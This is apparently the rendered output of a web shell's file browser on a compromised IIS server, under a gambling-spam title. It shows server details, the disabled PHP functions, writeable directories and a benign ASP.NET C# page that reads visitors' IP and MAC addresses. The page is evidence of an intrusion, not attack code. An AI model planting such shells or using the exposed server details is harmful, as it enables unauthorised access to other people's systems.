918博天堂

Server : Microsoft-IIS/10.0
System : Windows NT EBS-6136 10.0 build 17763 (Windows Server 2016) i586
User : jxgj ( 0)
PHP Version : 7.0.33
Disable Function : passthru,exec,system,shell_exec,proc_open,popen,pcntl_exec,socket_bind,stream_socket_server
Directory :  D:/tmp_aspnet/root/712bd9e6/ca967f19/
Upload File :
Current Directory [ Writeable ] Root Directory [ Writeable ]


Current File : D:/tmp_aspnet/root/712bd9e6/ca967f19/App_Web_ckft0hmx.1.cs
?#pragma checksum "D:\wwwroot\bgsciences\wwwroot\Default.aspx.cs" "{ff1816ec-aa5e-4d10-87f7-6f4963833460}" "4EB5BB8F0EE9E09569FDC939368026FD1AFDE3AC"

#line 1 "D:\wwwroot\bgsciences\wwwroot\Default.aspx.cs"
using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;

public partial class _Default : System.Web.UI.Page
{

    //获取MAC地址: 
    [DllImport("Iphlpapi.dll")]
    private static extern int SendARP(Int32 dest, Int32 host, ref Int64 mac, ref Int32 length);
    [DllImport("Ws2_32.dll")]
    private static extern Int32 inet_addr(string ip);
    private void Page_Load(object sender, System.EventArgs e)
    {
        // 在此处搁置用户代码以初始化页面 
        try
        {
            string userip = Request.UserHostAddress;
            string strClientIP = Request.UserHostAddress.ToString().Trim();
            Int32 ldest = inet_addr(strClientIP);
            //主张地的ip 
            Int32 lhost = inet_addr("");
            //本地服务器的ip 
            Int64 macinfo = new Int64();
            Int32 len = 6;
            int res = SendARP(ldest, 0, ref macinfo, ref len);
            string mac_src = macinfo.ToString("X");
            if (mac_src == "0")
            {
                if (userip == "127.0.0.1")
                {
                    Response.Write("在接见Localhost!");
                }
                else { Response.Write("迎接来自IP为" + userip + "的伴侣!" + "<br>"); }
                return;
            }
            while (mac_src.Length < 12)
            { mac_src = mac_src.Insert(0, "0"); }
            string mac_dest = "";
            for (int i = 0; i < 11; i++)
            {
                if (0 == (i % 2))
                {
                    if (i == 10)
                    {
                        mac_dest = mac_dest.Insert(0, mac_src.Substring(i, 2));
                    }
                    else
                    {
                        mac_dest = "-" + mac_dest.Insert(0, mac_src.Substring(i, 2));
                    }
                }
            }
            Response.Write("迎接来自IP为" + userip + "<br>" + ",MAC地址为" + mac_dest + "的伴侣!" + "<br>");
        }
        catch (Exception err) { Response.Write(err.Message); }
    }
    protected void btn_sub_Click(object sender, EventArgs e)
    {

    }
    private string GetClientIP()
    {
        string result = HttpContext.Current.Request.ServerVariables["HTTP_X_FORWARDED_FOR"];
        if (null == result || result == String.Empty)
        { result = HttpContext.Current.Request.ServerVariables["REMOTE_ADDR"]; }
        if (null == result || result == String.Empty) { result = HttpContext.Current.Request.UserHostAddress; } return result;
    }
}

#line default
#line hidden